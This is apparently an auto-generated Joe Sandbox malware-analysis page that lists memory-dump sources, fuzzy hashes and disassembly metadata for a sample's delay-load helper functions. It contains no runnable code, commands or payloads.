Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7c886185af3054a701187734c85f1f1b6565063f35082e78b00c182790c3cd28
Instruction ID: 425e4f52d10ea182e07de1c16309ecb5b4fa23cb50dce7c9309f15b5f80057fb
Opcode Fuzzy Hash: 7c886185af3054a701187734c85f1f1b6565063f35082e78b00c182790c3cd28
Instruction Fuzzy Hash: 6FB0129126C0026C320871057E03F3E126EDDC4B20330C52FF00FC1144F8448C0D5431

Function 00D7DACF Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DAB2

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b083ec4f12306f5974e2c864345421def94e665dedb3543094808163fc9f0b79
Instruction ID: 791791de184434ea9fc46c0c34d5796cfc70be29561b95e828bb9700e74d8e60
Opcode Fuzzy Hash: b083ec4f12306f5974e2c864345421def94e665dedb3543094808163fc9f0b79
Instruction Fuzzy Hash: 95B012A226C102AC32087105BE03E3A126DCDC0B20330C11FF44FC1144F4488C085431

Function 00D7DBDE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DBD5

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8efff3ed2d4f003ee1f50bef55acf193d211a6814773999ab49709c3cd15d865
Instruction ID: b5fa89fa7e3a18d9eb34c023e6a550f154ff33004e222bedece224773f1b39ea
Opcode Fuzzy Hash: 8efff3ed2d4f003ee1f50bef55acf193d211a6814773999ab49709c3cd15d865
Instruction Fuzzy Hash: 3DB0929526C0026D220861142907E36223ED880B20321802FB00EC1140A9408C099031

Function 00D7DBC3 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DBD5

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0e84b1d713b0c744031e0cc3a7827f802c819dfb7d85fdfee34ab13ea8a49be3
Instruction ID: edf5d0a094b3638d0fd460bbf4c3e91741024b17bf8aab8398e6d8b9aee3ef46
Opcode Fuzzy Hash: 0e84b1d713b0c744031e0cc3a7827f802c819dfb7d85fdfee34ab13ea8a49be3
Instruction Fuzzy Hash: 50B0929526C1066D220811002D07D36223ED880B20321822FB00E90040A9408C489031

Function 00D7DBFC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DBD5

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 27bceade0eb06da74272bbac1c220392376dcdb85b6e2ce008800546cf4751a3
Instruction ID: 4025da67312c593f7d381bd3aa07bfa54e7a3d79a4c5df0a5cae3ad06867dfb4
Opcode Fuzzy Hash: 27bceade0eb06da74272bbac1c220392376dcdb85b6e2ce008800546cf4751a3
Instruction Fuzzy Hash: 94B0129536C0436D320C51043E07E37233ECCC0B20331C11FF10EC1140F9808C099031

Function 00D7DBE8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DBD5

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0f942bd0ca81b08466cc7394859f2a85500f60751a27a878bf86da9091b0caaf
Instruction ID: df98ce7c7fe28b317bbb8092579870707dddb0d41890c3d233e0347f22d00cec
Opcode Fuzzy Hash: 0f942bd0ca81b08466cc7394859f2a85500f60751a27a878bf86da9091b0caaf
Instruction Fuzzy Hash: A8B0129536C103AD320C51043D07E37223ECCC0B20331C11FF40EC2140F9408C0C9031

Function 00D7DB01 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DAB2

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9863f028ad79830540f4b15ab7d7e98ef159e9a56a2ef8cffc2263b8913e3b77
Instruction ID: df7366d306a2b16ccad13115186cfc401355a8a6fcf7f669d030a25b460a51b1
Opcode Fuzzy Hash: 9863f028ad79830540f4b15ab7d7e98ef159e9a56a2ef8cffc2263b8913e3b77
Instruction Fuzzy Hash: 22B012D12AC1026C320871457E03F3B126EEDC0B20330C11FF40FC1144F8448C085531

Function 00D7DC53 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DC36

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e0a18959e66248f0e09ce3deeefb02f3191706c06e006821e421c14a514ff954
Instruction ID: b0ecf3ea35b1c5b10cda06acc0e4ab1dd38c2c42f0fdac3be57544ad50380d31
Opcode Fuzzy Hash: e0a18959e66248f0e09ce3deeefb02f3191706c06e006821e421c14a514ff954
Instruction Fuzzy Hash: 86B0129526C302AD320C61047D03E36123DCCC8F20335C51FF50ED1140F580AC084431

Function 00D7DC5D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DC36

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f731a2a9e80cb6567b05ac968d7b129f7e0caea192543775a5592b2dbd46260b
Instruction ID: 957a858cd452b4f9721ea89e7588a8c0f3510b5c1df8a40182a149b223306f70
Opcode Fuzzy Hash: f731a2a9e80cb6567b05ac968d7b129f7e0caea192543775a5592b2dbd46260b
Instruction Fuzzy Hash: 29B0129527C302AD320C61047D03E36123DCCC4F20334C51FF10ED1140F980AC084431

Function 00D7DC24 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DC36

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d6781375a9b92d7dcf8502a681de5d2e1810de029fac71bcfc1919fc621c4149
Instruction ID: a01f909225eb793e44d7e98860adb84f7cb1c8dcc4ecbf14a34575b5c53b5b44
Opcode Fuzzy Hash: d6781375a9b92d7dcf8502a681de5d2e1810de029fac71bcfc1919fc621c4149
Instruction Fuzzy Hash: C2B0129526C302BD320C21007F03D36523ECDC4F20335C61FF10EE0040B580AC485431

Function 00D7D8D9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: de5064f1482eb11e318654cf95236964b94d570969fb30e4258626113147b028
Instruction ID: f42ab689df07a9c2a4ed69fa053db8c31c255454de152063c94eb6faea77e4d9
Opcode Fuzzy Hash: de5064f1482eb11e318654cf95236964b94d570969fb30e4258626113147b028
Instruction Fuzzy Hash: 3FA001A66AD542BC36087651BE57D3A6A2ECCC5B61331C91EF48FA41C1B980A8499832

Function 00D7D997 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b11b6f3207f5ad032fc619a2660d2d9488d6af45ab260af0da9b08fda588c972
Instruction ID: f42ab689df07a9c2a4ed69fa053db8c31c255454de152063c94eb6faea77e4d9
Opcode Fuzzy Hash: b11b6f3207f5ad032fc619a2660d2d9488d6af45ab260af0da9b08fda588c972
Instruction Fuzzy Hash: 3FA001A66AD542BC36087651BE57D3A6A2ECCC5B61331C91EF48FA41C1B980A8499832

Function 00D7D983 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: efc44e7fe19eb225e8dc3098ad2cc25ea8804a2ed9152360ade98030c7b33121
Instruction ID: f42ab689df07a9c2a4ed69fa053db8c31c255454de152063c94eb6faea77e4d9
Opcode Fuzzy Hash: efc44e7fe19eb225e8dc3098ad2cc25ea8804a2ed9152360ade98030c7b33121
Instruction Fuzzy Hash: 3FA001A66AD542BC36087651BE57D3A6A2ECCC5B61331C91EF48FA41C1B980A8499832

Function 00D7D98D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 41496a5453383a85c079acf60d99b5650fc88fbff7a246d9d040fe69e86f65d1
Instruction ID: f42ab689df07a9c2a4ed69fa053db8c31c255454de152063c94eb6faea77e4d9
Opcode Fuzzy Hash: 41496a5453383a85c079acf60d99b5650fc88fbff7a246d9d040fe69e86f65d1
Instruction Fuzzy Hash: 3FA001A66AD542BC36087651BE57D3A6A2ECCC5B61331C91EF48FA41C1B980A8499832

Function 00D7D951 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8bde87d5862c93909256ea3be3d3684820a7f88fd71cac1429c4846260b4d0a0
Instruction ID: f42ab689df07a9c2a4ed69fa053db8c31c255454de152063c94eb6faea77e4d9
Opcode Fuzzy Hash: 8bde87d5862c93909256ea3be3d3684820a7f88fd71cac1429c4846260b4d0a0
Instruction Fuzzy Hash: 3FA001A66AD542BC36087651BE57D3A6A2ECCC5B61331C91EF48FA41C1B980A8499832

Function 00D7D95B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 21a997e2217d1b91470d6fda6d7359d389f40d758be202071dda3a067593b01d
Instruction ID: f42ab689df07a9c2a4ed69fa053db8c31c255454de152063c94eb6faea77e4d9
Opcode Fuzzy Hash: 21a997e2217d1b91470d6fda6d7359d389f40d758be202071dda3a067593b01d
Instruction Fuzzy Hash: 3FA001A66AD542BC36087651BE57D3A6A2ECCC5B61331C91EF48FA41C1B980A8499832

Function 00D7D979 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e6b4e6fbce2c457fa07669edb88b4d1f5fdf1219fcb3cae66e16145d58eb49b0
Instruction ID: f42ab689df07a9c2a4ed69fa053db8c31c255454de152063c94eb6faea77e4d9
Opcode Fuzzy Hash: e6b4e6fbce2c457fa07669edb88b4d1f5fdf1219fcb3cae66e16145d58eb49b0
Instruction Fuzzy Hash: 3FA001A66AD542BC36087651BE57D3A6A2ECCC5B61331C91EF48FA41C1B980A8499832

Function 00D7D965 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

